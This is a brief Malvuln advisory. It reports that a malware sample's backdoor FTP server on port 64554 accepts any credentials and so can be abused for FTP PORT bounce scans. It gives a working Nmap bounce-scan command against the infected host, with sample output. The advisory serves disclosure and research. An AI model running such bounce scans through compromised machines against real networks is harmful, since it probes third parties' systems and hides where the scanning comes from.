Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1_B.txt
Vulnerability: Port Bounce Scan
Description: The CrazyInvadres GroupâŒ bY SMURF_NS malware runs an FTP server on TCP port 64554 and accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Vuln ID: MVID-2021-0327
nmap -n -Pn -b mal:email@example.com:64554 -p21,22,80 192.168.18.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-28 22:30 Pacific Daylight Time
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
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